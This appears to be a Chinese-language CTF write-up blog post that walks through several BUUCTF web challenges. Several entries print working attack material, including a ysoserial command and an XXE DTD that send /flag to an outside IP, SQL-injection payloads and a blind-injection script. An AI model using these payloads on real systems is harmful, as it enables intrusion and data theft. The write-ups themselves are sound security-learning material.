BUUCTF记录3

BUU第三份

[极客大挑战 2020]Roamphp2-Myblog

明显的文件读取,login中能看到登录密码生成逻辑,完全随机,没法直接拿到

<?php
$secret_seed = mt_rand();
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
print($_SESSION['password']);
?>

看登录逻辑

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
    if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
        $logined = true;
        $_SESSION['status'] = $logined;
    }
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
    die();
}
?>
  <?php
  if(isset($_FILES['Files']) and $_SESSION['status'] === true){
    $tmp_file = $_FILES['Files']['name'];
    $tmp_path = $_FILES['Files']['tmp_name'];
    if(($extension = pathinfo($tmp_file)['extension']) != ""){
      $allows = array('gif','jpeg','jpg','png');
      if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
        $upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
        move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
        echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
      } else {
        echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
      }
    }
  }
?>

可以看到密码验证中有一个弱比较,传入password为空直接绕过,然后就是文件上传,逻辑就是只能传图片,但是并没有限制文件内容,那phar或者zip吧内容打包都可以(因为触发还需要index中的include xxx.php,所以文件只能以php结尾),记得拦截包修改一下username和password参数,不然直接退出了

flag{fa7bcb65-99a0-4643-93c2-93cacaaf442c}

[网鼎杯 2020 朱雀组]Think Java

嘿嘿做的第一道Java题,记录一下Java应该怎么入手,首先目录扫描,扫出了swagger-ui.html,可以看到这个web页面使用的所有API

看代码是/common/test/sqlDict这一路径的调用,其中dbName是我们传参内容,跟进其中的SqlDict.getTableData,查看getConnection方法,其中本质是通过jdbc接口进行数据库连接,而jdbc在解析数据库时类似于对URL的解析

JDBC 的 URL 也类似 http 请求中的 URL,也可以使用锚点 # 或者 ? 如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#

也就是#后面的内容会被忽略,但是这部分信息依然会被传递到dbName参数中进行接下来的查询

那我们就可以直接构造出sql注入的语句

dbName=myapp#' union select group_concat(name,0x3a,pwd)from user#
构造出的语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = 'myapp#' union select group_concat(name,0x3a,pwd)from user#后面的不重要

拿到用户名和密码admin:admin@Rrrr_ctf_asde

登录成功拿到token,发现是Java序列化后内容

并且将内容提交到currentAPI中时,也会返回用户信息,yso构造序列化攻击即可

/Users/jlan/Library/Java/JavaVirtualMachines/azul-1.8.0_332/Contents/Home/bin/java -jar /Users/jlan/Documents/Tools/ysoserial-all.jar ROME "curl http://182.61.46.138:1000 -d @/flag" |base64

[GKCTF 2021]babycat

快乐java题,靶机启动真的好慢,上来就是一个nt登录界面,登录不行,注册未开放

但是点击注册查看源代码发现是注册逻辑被注释,按照注释的逻辑构造payload注册,成功注册并登录

进入主页发电文件上传需要admin权限,并且在download存在文件泄露,先看web.xml内容,根据内容将class文件依次下载,下面我们主要查看uploadServlet和registerServlet

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <servlet>
    <servlet-name>register</servlet-name>
    <servlet-class>com.web.servlet.registerServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>login</servlet-name>
    <servlet-class>com.web.servlet.loginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>home</servlet-name>
    <servlet-class>com.web.servlet.homeServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>upload</servlet-name>
    <servlet-class>com.web.servlet.uploadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>download</servlet-name>
    <servlet-class>com.web.servlet.downloadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>logout</servlet-name>
    <servlet-class>com.web.servlet.logoutServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>logout</servlet-name>
    <url-pattern>/logout</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>download</servlet-name>
    <url-pattern>/home/download</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>register</servlet-name>
    <url-pattern>/register</url-pattern>
  </servlet-mapping>
  <display-name>java</display-name>
  <servlet-mapping>
    <servlet-name>login</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>home</servlet-name>
    <url-pattern>/home</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>upload</servlet-name>
    <url-pattern>/home/upload</url-pattern>
  </servlet-mapping>

  <filter>
    <filter-name>loginFilter</filter-name>
    <filter-class>com.web.filter.LoginFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>loginFilter</filter-name>
    <url-pattern>/home/*</url-pattern>
  </filter-mapping>
  <display-name>java</display-name>

  <welcome-file-list>
    <welcome-file>/WEB-INF/index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

那我们该如何成为admin呢,直接看注册类中的关键代码

if (!StringUtils.isNullOrEmpty(role)) {
    var = var.replace(role, "\"role\":\"guest\"");
    person = (Person)gson.fromJson(var, Person.class);
} else {
    person = (Person)gson.fromJson(var, Person.class);
    person.setRole("guest");
}

此处对我们传入的data注册信息进行了处理,将role的json内容换成了guest,也就是说我们直接更改data中的role属性是行不通的,这里我们可以使用unicode字符绕过,并且在属性中多添加一层内容使其中包含了role属性来确保我们能够进入第一个判断,构造出的payload如下

注册成功并且成功进入文件上传界面

传一个jsp马到static目录下连接即可

但是似乎buu的这个版本是修复后的,对文件内容进行了过滤,没法传🐎,我有什么办法(

[HarekazeCTF2019]Sqlite Voting

源码全是过滤

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
  die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
  die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));
}

// succeeded!
echo json_encode([
  'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);

没见过的sqlite,题解

解题思路是利用sqlite逻辑报错进行盲注,abs函数存在整型溢出

利用ifnull,nullif注入flag长度

abs(ifnull(nullif(length((SELECT(flag)from(flag))),{i}),0x8000000000000000))

这句语句的意思是,如果前面的length的值等于我们传入i的值,那么nullif就会返回null,如果返回了null那么ifnull就会返回后面的值,此时abs溢出报错,可以拿到flag长度

import requests
url = "http://ba37c8a1-58fb-4250-a1f0-236c553ac9d6.node4.buuoj.cn:81/vote.php"
for i in range(1,100):
    data = {
        'id':f'abs(ifnull(nullif(length((SELECT(flag)from(flag))),{i}),0x8000000000000000))'
    }
    rep = requests.post(url,data=data)
    print(data)
    if 'An error occurred' in rep.text:
        print('length: '+str(i))
        break

然后通过||来拼接字符,通过replace来进行逐位猜测,通过返回的长度来做判断,而对于字母则使用hex来提取

table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' # 'zebra' → '7A65627261'
table['C'] = 'trim(hex(typeof(.1)),12567)' # 'real' → '7265616C'
table['D'] = 'trim(hex(0xffffffffffffffff),123)' # 0xffffffffffffffff = -1 → '2D31'
table['E'] = 'trim(hex(0.1),1230)' # 0.1 → 302E31
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # 'dog' → '646F67'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' # 'koala' → '6B6F616C61'

最终通过脚本拿到flag

[网鼎杯 2020 青龙组]filejava

一个上传,上传之后可以下载,看到链接里面有文件名,尝试目录穿越拿web.xml文件

下载class(../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class)进行反编译,得到源码,我们直接看上传的关键部分

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
	try {
		Workbook wb1 = WorkbookFactory.create(in);
		Sheet sheet = wb1.getSheetAt(0);
		System.out.println(sheet.getFirstRowNum());
	} catch (InvalidFormatException e) {
		System.err.println("poi-ooxml-3.10 has something wrong");
		e.printStackTrace();
	}  

此处使用poi-ooxml-3.10来解析数据,这个版本有漏洞可导致XXE,CVE-2014-3529

那么就直接利用,首先在自己服务器上放一个f.dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://182.61.46.138?p=%file;'>">

然后更改xlsx中的[Content_Types].xml文件,添加如下内容

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://182.61.46.138/f.dtd">
%remote;%int;%send;
]>

重新压缩上传即可接收flag

[HXBCTF 2021]easywill

跟源码,后面再补

[羊城杯 2020]EasySer

不给源码就是纯纯有病的谜语题,给了源码简单多了,正常序列化使用base64绕过die即可

[JMCTF 2021]UploadHub

.htaccess

[红明谷CTF 2021]JavaWeb

java,进去就是让我们login,login页面让我们访问json,但是没权限需要先登录,那就尝试传入登录,登录失败,但是看响应头

setCookie中的deleteMe可以确认使用的是shiro框架(我也不知道为啥

那么首先使用CVE-2020-11989来进行Apache Shiro权限绕过,加个/;/json来直接访问json

然后使用CVE-2019-14439的反序列化链打进去,用JNDI-Injection-Exploit来生成payload

[HCTF 2018]Hideandseek

登录,任意输入除admin之外的用户名和密码,然后就让上传zip,第一件事就想到软连接,确实可以

那读一下源码吧,盲猜是个python,proc读试试,事实证明直接莽是没什么卵子用的,还是乖乖读了environ,然后/app/main.py读源码

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

看代码读一下随机数的种子

import uuid
import random

mac = "0e:48:30:60:37:27"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)#69.83331307187989

剩下就是伪造拿flag

[FBCTF2019]Products Manager

有源码,是基于约束的SQL攻击,直接给payload

name=facebook                                                                                    1111
Secret=
des=